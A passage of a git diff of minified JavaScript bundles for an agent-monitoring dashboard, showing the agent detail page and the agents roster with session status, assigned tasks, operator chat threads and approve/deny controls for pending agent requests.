mb-6",role:"alert",children:N}),e.jsx(Be,{session:s,now:u}),e.jsx(ke,{beads:Y,error:b,loading:f===null,onSelect:t=>{A(null),v(t)}}),e.jsx(Ne,{view:I.view,loading:I.loading,error:I.error,now:u,onOpenBead:G}),e.jsx(Le,{session:s}),k!==null&&e.jsx(Ee,{alias:k,prompt:m,loading:E,error:Q,onRefresh:()=>{te()}}),e.jsx(_e,{messages:ae,loading:ee,error:se,now:u}),e.jsx(we,{open:w!==null||y!==null,onClose:le,beadId:w?.id??y,initialBead:w,onOpenBead:G})]})}export{Ue as AgentDetailPage};
+import{j as e,B as T,r,p as F,q as ie,t as ce,v as oe,w as de,u as ue,x as U,l as me,y as xe,z as X,f as fe,A as ge,C as he,L as K,s as pe,S as je,G as W}from"./index-BFDP6Xwd.js";import{u as be,R as Ne,B as we}from"./BeadDetailModal-BKOlUSQL.js";import{P as D}from"./PageHeader-5RHLpIfH.js";import{f as O}from"./time-D9v0saHV.js";import{P as ve}from"./constants-DOaI3lZl.js";import{L as ye,a as Ae}from"./LiveSessionPeek-Cjv3DcC3.js";import{e as Ce}from"./context-window-Cu9zl36t.js";import{f as Se}from"./agentReads-DcDPDlRM.js";import"./format-fte2CeYD.js";import"./Field-BpdGqWpv.js";function ke({beads:n,error:c,loading:l,onSelect:i}){return e.jsxs("section",{className:"mb-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Beads assigned"}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:l?"·":n.length})]}),c!==null?e.jsx("p",{className:"text-body text-accent",role:"alert",children:c}):l?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading beads."}):n.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:"No beads assigned to this agent."}):e.jsx("ul",{className:"space-y-2",children:n.map(a=>e.jsxs("li",{className:"flex items-baseline gap-3 min-w-0",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:a.id}),e.jsx("button",{type:"button",onClick:()=>i(a),className:"text-body text-fg hover:text-accent truncate min-w-0 text-left focus-mark",title:`Open ${a.id}`,children:a.title}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint shrink-0",children:a.status})]},a.id))})]})}function _e({messages:n,loading:c,error:l,now:i}){return e.jsxs("section",{className:"mt-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Chat thread"}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:c?"·":n.length})]}),e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint mb-4",children:e.jsxs("span",{className:"text-accent",children:["▲ ",ve]})}),c?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading messages."}):l!==null?e.jsx("p",{className:"text-body text-accent",role:"alert",children:l}):n.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:"No messages between operator and this agent."}):e.jsx("ul",{className:"space-y-6",children:n.map(a=>e.jsxs("li",{className:"space-y-2 pb-4 border-b border-rule last:border-0",children:[e.jsxs("header",{className:"flex items-baseline justify-between gap-3",children:[e.jsxs("div",{className:"text-label uppercase tracking-wider text-fg-muted truncate",children:[e.jsx("span",{className:"text-fg font-medium",children:a.from}),e.jsx("span",{className:"mx-1.5 text-fg-faint",children:"→"}),e.jsx("span",{children:a.to})]}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:O(a.created_at,i)})]}),a.subject&&e.jsx("p",{className:"text-body font-medium text-fg",children:a.subject}),e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto",children:a.body})]},a.id))})]})}function Ee({alias:n,prompt:c,loading:l,error:i,onRefresh:a}){const j=i?.status===404||i?.kind==="not_found",f=c!==null?`${c.length.toLocaleString()} chars`:l?"loading":i!==null?"—":"·";return e.jsxs("section",{className:"mt-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Directives"}),e.jsxs("div",{className:"flex items-baseline gap-3",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:f}),e.jsx(T,{size:"sm",tone:"quiet",onClick:a,disabled:l,children:l?"Refreshing":"Refresh"})]})]}),l&&c===null&&i===null?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading directives."}):j?e.jsxs("p",{className:"text-body text-warn",children:["Agent ",e.jsx("code",{className:"text-fg",children:n})," has no entry in city config."]}):i!==null?e.jsxs("p",{className:"text-body text-accent",role:"alert",children:[i.status?`${i.status} `:"",i.message]}):c!==null?e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto max-h-[60vh] overflow-y-auto",children:c}):null]})}function Le({session:n}){return e.jsxs("section",{children:[e.jsx("header",{className:"flex items-baseline justify-between mb-4",children:e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Live peek"})}),e.jsx(ye,{sessionId:n.id,stream:Ae(n),showBadge:!0,showCaption:!0})]})}function Be({session:n,now:c}){const l=Ce(n),i=[{label:"Rig",value:n.rig??"·"},{label:"Pool",value:n.pool??"·"},{label:"Provider",value:n.provider??"·"},{label:"Model",value:n.model??"·"},{label:"Context",value:typeof l=="number"?e.jsxs("span",{className:`tnum ${l>=95?"text-accent":l>=80?"text-warn":"text-fg"}`,children:[l,"%"]}):"·"},{label:"Attached",value:n.attached?"yes":"no"},{label:"Created",value:e.jsx("span",{className:"tnum",children:O(n.created_at,c)})},{label:"Last active",value:e.jsx("span",{className:"tnum",children:O(n.last_active,c)})}];return e.jsx("dl",{className:"grid grid-cols-2 sm:grid-cols-4 gap-x-8 gap-y-5 mb-12",children:i.map(a=>e.jsxs("div",{children:[e.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:a.label}),e.jsx("dd",{className:"text-body text-fg",children:a.value})]},a.label))})}const Me=2e3,Re=6e4;function Pe({enabled:n,intervalMs:c,load:l,formatError:i,initialBackoffMs:a=Me,maxBackoffMs:j=Re}){const[f,g]=r.useState({status:"idle"}),b=r.useRef(0),h=r.useRef(0);return r.useEffect(()=>{if(!n){b.current=0,h.current=0,g({status:"idle"});return}let N=!1,p=new AbortController;const w=()=>{b.current=0,h.current=0},v=()=>{const u=Math.min(a*2**b.current,j);b.current+=1,h.current=Date.now()+u},y=async()=>{if(Date.now()<h.current)return;p.abort(),p=new AbortController;const u=p;g(m=>m.status==="ready"?{...m,refreshing:!0,error:""}:{status:"loading"});try{const m=await l(u.signal);if(N||u.signal.aborted)return;w(),g({status:"ready",data:m,refreshing:!1,error:""})}catch(m){if(N||u.signal.aborted)return;v();const C=i?i(m):F(m);g(E=>E.status==="ready"?{...E,refreshing:!1,error:C}:{status:"failed",error:C})}};y();const A=window.setInterval(()=>{document.hidden||y()},c);return()=>{N=!0,p.abort(),window.clearInterval(A)}},[n,c,l,i,a,j]),f}const Ie=1e4,J=200;function Ue(){const{slug:n=""}=ie(),c=ce(),{viewingAs:l}=oe(),i=de(),[a,j]=r.useState(null),[f,g]=r.useState(null),[b,h]=r.useState(null),[N,p]=r.useState(null),[w,v]=r.useState(null),[y,A]=r.useState(null),u=ue(),[m,C]=r.useState(null),[E,V]=r.useState(!1),[Q,$]=r.useState(null),S=r.useMemo(()=>{try{return decodeURIComponent(n)}catch(t){return U({component:"AgentDetail",operation:"decodeSlug",message:F(t)}),n}},[n]),M=r.useCallback(async()=>{try{const{items:t}=await me();j(t??[]),p(null)}catch(t){p(t instanceof Error?t.message:"sessions failed")}},[]),s=r.useMemo(()=>a===null?null:a.find(t=>t.session_name===S)??a.find(t=>t.alias===S)??a.find(t=>t.id===S)??null,[a,S]),R=r.useMemo(()=>s===null?[]:[s.alias??"",s.session_name,s.id],[s]),P=r.useCallback(async()=>{if(R.length===0){g([]),h(null);return}try{const{items:t}=await xe(R,{includeClosed:!0});g(t),h(null)}catch(t){g([]),h(X(t,"assigned beads unavailable")),U({component:"AgentDetail",operation:"refreshBeads",message:F(t)})}},[R]);r.useEffect(()=>{M()},[M]),r.useEffect(()=>{P()},[P]),fe([W.session,W.bead],()=>{M(),P()});const Y=r.useMemo(()=>{if(s===null||f===null)return[];const t=new Set;return s.alias&&t.add(s.alias),s.session_name&&t.add(s.session_name),t.add(s.id),f.filter(o=>{if(o.assignee!==void 0&&t.has(o.assignee))return!0;const d=o.metadata;return!!(d&&(d.session_id===s.id||d.session_name&&d.session_name===s.session_name))})},[s,f]),q=r.useMemo(()=>{if(s===null)return[];const t=new Set;return s.alias&&t.add(s.alias.toLowerCase()),s.session_name&&t.add(s.session_name.toLowerCase()),t.add(s.id.toLowerCase()),[...t]},[s]),z=r.useMemo(()=>[l.alias.toLowerCase(),i.operatorWireAlias.toLowerCase()],[l.alias,i.operatorWireAlias]),Z=r.useCallback(async()=>{const{items:t}=await ge("all",l.alias,i);return t},[l.alias,i]),x=Pe({enabled:s!==null,intervalMs:Ie,load:Z,formatError:X}),ee=x.status==="loading",se=x.status==="failed"||x.status==="ready"&&x.error.length>0?x.error:null,k=r.useMemo(()=>s===null?null:s.alias??s.template??null,[s]),te=r.useCallback(async()=>{if(k!==null){V(!0),$(null);try{const t=await Se(k);C(t.prompt)}catch(t){const o=he(t,"directives fetch failed"),d={message:o.message};o.status!==void 0&&(d.status=o.status),o.kind!==void 0&&(d.kind=o.kind),$(d),C(null)}finally{V(!1)}}},[k]),I=be(s?.id??null),ae=r.useMemo(()=>{const t=x.status==="ready"?x.data:[],o=new Set(q),d=new Set(z),_=t.filter(L=>{const B=(L.from??"").toLowerCase(),H=(L.to??"").toLowerCase();return!!(d.has(B)&&o.has(H)||o.has(B)&&d.has(H))});return _.sort((L,B)=>L.created_at.localeCompare(B.created_at)),_.length>J?_.slice(_.length-J):_},[x,q,z]);if(a===null)return e.jsx("section",{children:e.jsx(D,{title:"Agent",synopsis:"Loading session list."})});if(s===null)return e.jsxs("section",{children:[e.jsx(D,{title:"Agent",synopsis:e.jsxs(e.Fragment,{children:["No session matches ",e.jsx("code",{className:"text-fg",children:S}),"."]}),meta:e.jsx(T,{size:"sm",tone:"quiet",onClick:()=>c("/agents"),children:"← Agents"})}),e.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["The slug doesn't match any current session's session_name, alias, or id. Sessions are listed at"," ",e.jsx(K,{to:"/agents",className:"text-accent hover:underline",children:"/agents"}),"."]})]});const ne=s.alias??s.title??s.id,re=pe(s.state),G=t=>{v(null),A(t)},le=()=>{v(null),A(null)};return e.jsxs("section",{children:[e.jsx(D,{title:ne,synopsis:e.jsxs("span",{className:"flex flex-wrap items-baseline gap-x-3 gap-y-1",children:[e.jsx(je,{tone:re,label:s.state,...s.attached?{trailing:"att"}:{},...s.reason?{title:`reason: ${s.reason}`}:{}}),e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsx("code",{className:"text-fg-muted",children:s.template??"—"}),s.session_name&&s.session_name!==s.alias&&e.jsxs(e.Fragment,{children:[e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsx("span",{className:"text-fg-faint",children:s.session_name})]}),e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsxs("span",{className:"text-fg-faint",children:["id ",e.jsx("code",{className:"text-fg-muted",children:s.id})]})]}),meta:e.jsx(K,{to:"/agents",children:e.jsx(T,{size:"sm",tone:"quiet",children:"← Agents"})})}),N&&e.jsx("p",{className:"text-body text-accent mb-6",role:"alert",children:N}),e.jsx(Be,{session:s,now:u}),e.jsx(ke,{beads:Y,error:b,loading:f===null,onSelect:t=>{A(null),v(t)}}),e.jsx(Ne,{view:I.view,loading:I.loading,error:I.error,now:u,onOpenBead:G}),e.jsx(Le,{session:s}),k!==null&&e.jsx(Ee,{alias:k,prompt:m,loading:E,error:Q,onRefresh:()=>{te()}}),e.jsx(_e,{messages:ae,loading:ee,error:se,now:u}),e.jsx(we,{open:w!==null||y!==null,onClose:le,beadId:w?.id??y,initialBead:w,onOpenBead:G})]})}export{Ue as AgentDetailPage};
diff --git a/internal/api/dashboardspa/dist/assets/Agents-BS1KnSJ7.js b/internal/api/dashboardspa/dist/assets/Agents-sZ3Kn-9C.js
similarity index 97%
rename from internal/api/dashboardspa/dist/assets/Agents-BS1KnSJ7.js
rename to internal/api/dashboardspa/dist/assets/Agents-sZ3Kn-9C.js
index 14fe590bd8..d7bc8ffb63 100644
--- a/internal/api/dashboardspa/dist/assets/Agents-BS1KnSJ7.js
+++ b/internal/api/dashboardspa/dist/assets/Agents-sZ3Kn-9C.js
@@ -1,2 +1,2 @@
-import{r as d,s as T,j as e,L as I,u as te,S as $,B as y,a as fe,b as R,l as xe,c as he,d as be,e as ve,f as je,g as Ne,h as ye,R as ke,i as H,k as we,G as K,m as Ce,n as Se,o as Ae}from"./index-fZITW1u7.js";import{e as X}from"./context-window-Cu9zl36t.js";import{r as J,a as Re}from"./routeHighlight-B30gQO2o.js";import{i as $e,c as O,a as Ie,s as _e,b as se,d as E,e as Me,L as Le}from"./projectOf-CTBm9kvF.js";import{M as ne}from"./constants-D2ZRoVbf.js";import{P as Pe}from"./PageHeader-BLycRKkQ.js";import{S as Oe,P as Ee}from"./SseIndicator-iUpgegKX.js";import{f as ae}from"./time-D9v0saHV.js";import{L as ie,i as Q}from"./LiveSessionPeek-BIw38Xn5.js";import{T as Te}from"./Table-YkXdgAfn.js";import{l as Be}from"./agentReads-B_zbPymi.js";import"./format-fte2CeYD.js";function qe(s){const n=s.indexOf("-");if(n<=0)return!1;const o=s.slice(0,n),l=s.slice(n+1);return!l||!/^[a-z0-9]+$/.test(l)||!(o==="gc"||o==="td"||o==="th"||/^[a-z]{4}$/.test(o))?!1:/[0-9]/.test(l)}function ze(s){const n=s.trim();if(qe(n))return{role:n,sessionId:n};for(let o=n.length-1;o>=0;o--){const l=n.charAt(o);if(l!=="-"&&l!=="_"&&l!=="/")continue;const c=n.slice(o+1);if(c&&/^(?:gc|td|th|[a-z]{4})-[a-z0-9]{1,32}$/.test(c))return{role:n.slice(0,o),sessionId:c}}return{role:n}}const We="in_progress";function De(s){return Ie(_e(s).label)}function Fe(s){const n=O(s.template??"");return n.length>0?n:O(s.session_name??s.id)}function Z(s){const n=s.session.last_active?Date.parse(s.session.last_active):NaN;return Number.isFinite(n)?n:0}function Ue(s,n){const o=new Map;for(const r of n){if(r.status!==We)continue;const i=r.assignee?.trim();if(!i)continue;const{sessionId:m}=ze(i);m&&!o.has(m)&&o.set(m,r)}const l=[];for(const r of s){if(!$e(r))continue;const i=o.get(r.id);l.push({session:r,rig:De(r),worker:Fe(r),...i?{bead:i}:{}})}l.sort((r,i)=>Z(i)-Z(r));const c=new Map;for(const r of l)c.set(r.rig,(c.get(r.rig)??0)+1);const u=Array.from(c,([r,i])=>({rig:r,count:i})).sort((r,i)=>i.count-r.count||r.rig.localeCompare(i.rig));return{workers:l,byRig:u,total:l.length}}function Ve(s){if(s.total===0)return"No workers active right now.";const n=s.total===1?"worker":"workers",o=s.byRig.map(l=>`${l.rig} (${l.count})`).join(", ");return`${s.total} ${n} active across ${o}.`}function Ye({worker:s,accent:n,onPeek:o}){const l=te(),{session:c,rig:u,bead:r}=s,i=n?T(c.state):"neutral";return e.jsx("li",{className:"px-2 py-2 -mx-2 rounded-sm transition-colors duration-150 ease-out-quart hover:bg-surface-tint/60",children:e.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[e.jsxs("div",{className:"min-w-0 text-body text-fg",children:[e.jsxs("button",{type:"button",onClick:()=>o(c.id),className:"group text-left cursor-pointer focus-mark",title:`Open ${u} · ${s.worker} transcript`,children:[e.jsx("span",{className:"font-medium group-hover:text-accent",children:u}),e.jsxs("span",{className:"text-fg-faint","aria-hidden":"true",children:[" ","·"," "]}),e.jsx("span",{className:"text-fg-muted group-hover:text-accent",children:s.worker})]}),r&&e.jsxs(I,{to:`/beads?bead=${encodeURIComponent(r.id)}`,className:"hover:text-accent focus-mark",title:`Open ${r.id}`,children:[e.jsxs("span",{className:"text-fg-faint","aria-hidden":"true",children:[" ","→"," "]}),e.jsx("span",{className:"tnum text-fg-muted",children:r.id}),e.jsxs("span",{className:"text-fg-muted",children:[": ",r.title]})]})]}),e.jsxs("div",{className:"flex items-baseline gap-3 shrink-0",children:[e.jsx($,{tone:i,label:c.state}),e.jsx("span",{className:"tnum text-fg-muted w-10 text-right",children:ae(c.last_active,l)}),e.jsx(y,{size:"sm",tone:"quiet",onClick:()=>o(c.id),children:"Peek"})]})]})})}function Ge(s){return s.running===!0||s.state==="active"||s.state==="running"}function He({beads:s,sessions:n,sessionsLoading:o,sessionsError:l}){const c=d.useMemo(()=>Ue(n,s),[n,s]),u=d.useMemo(()=>Ve(c),[c]),[r,i]=d.useState(null),m=d.useMemo(()=>r?c.workers.find(f=>f.session.id===r)??null:null,[c.workers,r]),k=d.useMemo(()=>c.workers.findIndex(f=>T(f.session.state)==="stuck"),[c.workers]),p=n.length===0,w=l!==null&&p,N=o&&p,_=w||N?"—":c.total;return e.jsxs("section",{className:"mb-10","aria-label":"Workers active",children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-4",children:[e.jsx("h2",{className:"text-headline text-fg",children:"Workers active"}),e.jsx("span",{className:"text-label tnum text-fg-muted",children:_})]}),w?e.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Worker status unavailable."}):N?e.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Checking worker status…"}):c.total===0?e.jsx("p",{className:"text-body text-fg-muted",children:"No workers active right now."}):e.jsxs(e.Fragment,{children:[e.jsx("p",{className:"text-body text-fg-muted mb-4",children:u}),e.jsx("ul",{className:"space-y-1",children:c.workers.map((f,C)=>e.jsx(Ye,{worker:f,accent:C===k,onPeek:i},f.session.id))})]}),e.jsx(ne,{open:m!==null,onClose:()=>i(null),title:m?`${m.rig} · ${m.worker}`:"Transcript",caption:m?.bead?e.jsxs(I,{to:`/beads?bead=${encodeURIComponent(m.bead.id)}`,className:"text-fg-muted hover:text-accent focus-mark",title:`Open ${m.bead.id}`,children:[e.jsx("span",{className:"tnum",children:m.bead.id}),e.jsxs("span",{children:[": ",m.bead.title]})]}):"Live transcript from the supervisor's session stream.",widthClass:"max-w-5xl",children:e.jsx(ie,{sessionId:r,stream:m?Ge(m.session):!1,showBadge:!0,showCaption:!0})})]})}function ee(s){return s.session?.name??s.name}function Ke(s){return!s.suspended&&(s.state==="active"||s.state==="running"||s.running===!0)}function Xe(s,n){return Ke(s)||n==="attention"}function P(s){const n=O(s.name);return se(s)?n:`${E(s).label} · ${n}`}const Je=s=>[s.name,s.display_name,s.pool,s.rig,s.provider,s.model].filter(n=>typeof n=="string"&&n.length>0);function ft(){const s=fe(),{data:n,loading:o,error:l,refresh:c}=R("agents",Be),u=R("sessions",xe),r=R("beads:in-flight",()=>he()),i=d.useMemo(()=>n?.items??[],[n]),m=d.useMemo(()=>(u.data?.items??[]).map(t=>t.id).sort(),[u.data]),k=d.useMemo(()=>i.map(t=>t.name).sort(),[i]),p=R(`agent-pending:${k.join(",")}:${m.join(",")}`,()=>be(i,u.data?.items??[])),w=d.useMemo(()=>{const t=new Map;for(const a of u.data?.items??[])a.session_name&&t.set(a.session_name,a.id);return t},[u.data]),N=d.useMemo(()=>{const t=new Map;for(const a of p.data??[])t.set(a.agentName,a);return t},[p.data]),_=d.useMemo(()=>{const t=(p.data??[]).map(g=>({agentName:g.agentName,...g.pending.prompt===void 0?{}:{prompt:g.pending.prompt}})),a=new Map(i.map(g=>[g.name,g]));return ve(i,t).flatMap(g=>{const b=a.get(g.name);return b===void 0?[]:[{need:g,label:P(b),slug:ee(b)}]})},[i,p.data]),f=te(),[C,oe]=d.useState(!0),[M,re]=d.useState(""),[v,B]=d.useState(""),[S,q]=d.useState(null),[z,W]=d.useState(null),[D,F]=d.useState(null),[j,U]=d.useState(null),x=d.useMemo(()=>S===null?null:i.find(t=>t.name===S)??null,[i,S]),V=d.useMemo(()=>{const t=x?.session?.name;return t?w.get(t)??null:null},[x,w]),le=je([K.session,K.bead,"agent."],()=>{c(),r.refresh(),u.refresh()}),ce=d.useMemo(()=>st(i),[i]),h=Ne(),L=d.useCallback(async(t,a)=>{if(!h){U({sessionId:t.sessionId,action:a}),W(null),F(null);try{await ye(t.sessionId,{action:a,request_id:t.pending.request_id}),W(`responded to ${t.agentName}`),await p.refresh()}catch(g){F(g instanceof Error?g.message:"response failed")}finally{U(null)}}},[p,h]),A=d.useMemo(()=>Array.from(new Set(i.filter(t=>!se(t)).map(t=>E(t).label))).sort((t,a)=>t.localeCompare(a)),[i]);d.useEffect(()=>{v!==""&&!A.includes(v)&&B("")},[A,v]);const Y=d.useMemo(()=>{const t=M.trim().toLowerCase();return i.filter(a=>{if(v!==""&&E(a).label!==v)return!1;const g=J(s,"agents",a.name);return C&&!Xe(a,g)?!1:t.length===0?!0:Je(a).some(b=>b.toLowerCase().includes(t))})},[i,v,C,M,s]),de=d.useMemo(()=>t=>Re(J(s,"agents",t.name)),[s]),G=l!==null&&i.length===0,ue=G?"Agent roster unavailable.":i.length===0?"No agents configured.":"No agents match the current search or filter.",me=d.useMemo(()=>[{key:"name",label:"Agent",sortable:!0,sortValue:t=>P(t),render:t=>{const a=Me(t),g=t.display_name&&t.display_name!==t.name?t.display_name:t.provider??t.model??"",b=!t.session,ge=b?`${t.name} — configured but not running; detail will show no live session`:`Open drilldown for ${t.name}`,pe=b?"text-fg-muted":"text-fg";return e.jsxs("div",{className:"min-w-0",children:[e.jsx(I,{to:`/agents/${encodeURIComponent(ee(t))}`,className:`block ${pe} truncate hover:text-accent focus-mark ${a?"font-normal italic":"font-medium"}`,title:ge,children:P(t)}),g&&e.jsx("div",{className:"text-label uppercase tracking-wider text-fg-faint mt-1 truncate",children:g})]})}},{key:"state",label:"State",sortable:!0,sortValue:t=>t.state,render:t=>e.jsx($,{tone:T(t.state),label:t.state,...t.session?.attached?{trailing:"att"}:{},...t.unavailable_reason?{title:`unavailable: ${t.unavailable_reason}`}:{}}),className:"w-32"},{key:"activity",label:"Activity",sortable:!0,sortValue:t=>t.activity??"",render:t=>{const a=N.get(t.name);return a!==void 0?e.jsxs("div",{className:"min-w-0",children:[e.jsx($,{tone:"stuck",label:"needs you"}),e.jsx("p",{className:"mt-1 truncate text-fg-muted",title:a.pending.prompt,children:a.pending.prompt??a.pending.kind})]}):e.jsx("span",{className:"text-fg-muted",children:t.activity??(t.running?"running":"·")})},className:"w-28"},{key:"context",label:"Context",sortable:!0,sortValue:t=>X(t)??-1,align:"right",render:t=>{const a=X(t);if(typeof a!="number")return e.jsx("span",{className:"text-fg-faint",children:"·"});const g=typeof t.context_pct=="number"&&t.context_pct!==a?`gc reports ${t.context_pct}% against ${t.context_window??"?"}-token window; scaled to model's true window`:void 0;return e.jsxs("span",{title:g,className:`tnum ${a>=95?"text-accent font-medium":a>=80?"text-warn font-medium":"text-fg-muted"}`,children:[a,"%"]})},className:"w-24"},{key:"last_active",label:"Last active",sortable:!0,sortValue:t=>t.session?.last_activity??"",render:t=>{const a=t.session?.last_activity;return a?e.jsx("span",{className:"tnum text-fg-muted",children:ae(a,f)}):e.jsx("span",{className:"text-fg-faint tnum",children:"·"})},className:"w-32"},{key:"actions",label:"",render:t=>{if(!t.session)return null;const a=N.get(t.name);return e.jsxs("div",{className:"flex justify-end gap-2",children:[a!==void 0&&e.jsxs(e.Fragment,{children:[h&&e.jsx(ke,{}),e.jsx(y,{size:"sm",tone:"quiet",title:h?H:void 0,disabled:h||j?.sessionId===a.sessionId,onClick:()=>{L(a,"approve")},children:j?.sessionId===a.sessionId&&j.action==="approve"?"Approving":"Approve"}),e.jsx(y,{size:"sm",tone:"quiet",title:h?H:void 0,disabled:h||j?.sessionId===a.sessionId,onClick:()=>{L(a,"deny")},children:j?.sessionId===a.sessionId&&j.action==="deny"?"Denying":"Deny"}),e.jsx(Ze,{command:we(t.name)})]}),e.jsx(y,{size:"sm",tone:"quiet",onClick:()=>q(t.name),children:"Peek"})]})},align:"right",className:"w-80"}],[L,f,N,h,j]);return e.jsxs("section",{children:[e.jsx(Pe,{title:"Agents",synopsis:G?"Agent roster unavailable.":ce,meta:e.jsxs(e.Fragment,{children:[e.jsx(Oe,{state:le}),l&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:l}),e.jsx(Ee,{show:n?.partial===!0,label:"roster partial",title:n?.partial_errors?.join(`
+import{r as d,s as T,j as e,L as I,u as te,S as $,B as y,a as fe,b as R,l as xe,c as he,d as be,e as ve,f as je,g as Ne,h as ye,R as ke,i as H,k as we,G as K,m as Ce,n as Se,o as Ae}from"./index-BFDP6Xwd.js";import{e as X}from"./context-window-Cu9zl36t.js";import{r as J,a as Re}from"./routeHighlight-B30gQO2o.js";import{i as $e,c as O,a as Ie,s as _e,b as se,d as E,e as Me,L as Le}from"./projectOf-CJPpTC86.js";import{M as ne}from"./constants-DOaI3lZl.js";import{P as Pe}from"./PageHeader-5RHLpIfH.js";import{S as Oe,P as Ee}from"./SseIndicator-DGo-aCtn.js";import{f as ae}from"./time-D9v0saHV.js";import{L as ie,i as Q}from"./LiveSessionPeek-Cjv3DcC3.js";import{T as Te}from"./Table-3q0HSJQI.js";import{l as Be}from"./agentReads-DcDPDlRM.js";import"./format-fte2CeYD.js";function qe(s){const n=s.indexOf("-");if(n<=0)return!1;const o=s.slice(0,n),l=s.slice(n+1);return!l||!/^[a-z0-9]+$/.test(l)||!(o==="gc"||o==="td"||o==="th"||/^[a-z]{4}$/.test(o))?!1:/[0-9]/.test(l)}function ze(s){const n=s.trim();if(qe(n))return{role:n,sessionId:n};for(let o=n.length-1;o>=0;o--){const l=n.charAt(o);if(l!=="-"&&l!=="_"&&l!=="/")continue;const c=n.slice(o+1);if(c&&/^(?:gc|td|th|[a-z]{4})-[a-z0-9]{1,32}$/.test(c))return{role:n.slice(0,o),sessionId:c}}return{role:n}}const We="in_progress";function De(s){return Ie(_e(s).label)}function Fe(s){const n=O(s.template??"");return n.length>0?n:O(s.session_name??s.id)}function Z(s){const n=s.session.last_active?Date.parse(s.session.last_active):NaN;return Number.isFinite(n)?n:0}function Ue(s,n){const o=new Map;for(const r of n){if(r.status!==We)continue;const i=r.assignee?.trim();if(!i)continue;const{sessionId:m}=ze(i);m&&!o.has(m)&&o.set(m,r)}const l=[];for(const r of s){if(!$e(r))continue;const i=o.get(r.id);l.push({session:r,rig:De(r),worker:Fe(r),...i?{bead:i}:{}})}l.sort((r,i)=>Z(i)-Z(r));const c=new Map;for(const r of l)c.set(r.rig,(c.get(r.rig)??0)+1);const u=Array.from(c,([r,i])=>({rig:r,count:i})).sort((r,i)=>i.count-r.count||r.rig.localeCompare(i.rig));return{workers:l,byRig:u,total:l.length}}function Ve(s){if(s.total===0)return"No workers active right now.";const n=s.total===1?"worker":"workers",o=s.byRig.map(l=>`${l.rig} (${l.count})`).join(", ");return`${s.total} ${n} active across ${o}.`}function Ye({worker:s,accent:n,onPeek:o}){const l=te(),{session:c,rig:u,bead:r}=s,i=n?T(c.state):"neutral";return e.jsx("li",{className:"px-2 py-2 -mx-2 rounded-sm transition-colors duration-150 ease-out-quart hover:bg-surface-tint/60",children:e.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[e.jsxs("div",{className:"min-w-0 text-body text-fg",children:[e.jsxs("button",{type:"button",onClick:()=>o(c.id),className:"group text-left cursor-pointer focus-mark",title:`Open ${u} · ${s.worker} transcript`,children:[e.jsx("span",{className:"font-medium group-hover:text-accent",children:u}),e.jsxs("span",{className:"text-fg-faint","aria-hidden":"true",children:[" ","·"," "]}),e.jsx("span",{className:"text-fg-muted group-hover:text-accent",children:s.worker})]}),r&&e.jsxs(I,{to:`/beads?bead=${encodeURIComponent(r.id)}`,className:"hover:text-accent focus-mark",title:`Open ${r.id}`,children:[e.jsxs("span",{className:"text-fg-faint","aria-hidden":"true",children:[" ","→"," "]}),e.jsx("span",{className:"tnum text-fg-muted",children:r.id}),e.jsxs("span",{className:"text-fg-muted",children:[": ",r.title]})]})]}),e.jsxs("div",{className:"flex items-baseline gap-3 shrink-0",children:[e.jsx($,{tone:i,label:c.state}),e.jsx("span",{className:"tnum text-fg-muted w-10 text-right",children:ae(c.last_active,l)}),e.jsx(y,{size:"sm",tone:"quiet",onClick:()=>o(c.id),children:"Peek"})]})]})})}function Ge(s){return s.running===!0||s.state==="active"||s.state==="running"}function He({beads:s,sessions:n,sessionsLoading:o,sessionsError:l}){const c=d.useMemo(()=>Ue(n,s),[n,s]),u=d.useMemo(()=>Ve(c),[c]),[r,i]=d.useState(null),m=d.useMemo(()=>r?c.workers.find(f=>f.session.id===r)??null:null,[c.workers,r]),k=d.useMemo(()=>c.workers.findIndex(f=>T(f.session.state)==="stuck"),[c.workers]),p=n.length===0,w=l!==null&&p,N=o&&p,_=w||N?"—":c.total;return e.jsxs("section",{className:"mb-10","aria-label":"Workers active",children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-4",children:[e.jsx("h2",{className:"text-headline text-fg",children:"Workers active"}),e.jsx("span",{className:"text-label tnum text-fg-muted",children:_})]}),w?e.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Worker status unavailable."}):N?e.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Checking worker status…"}):c.total===0?e.jsx("p",{className:"text-body text-fg-muted",children:"No workers active right now."}):e.jsxs(e.Fragment,{children:[e.jsx("p",{className:"text-body text-fg-muted 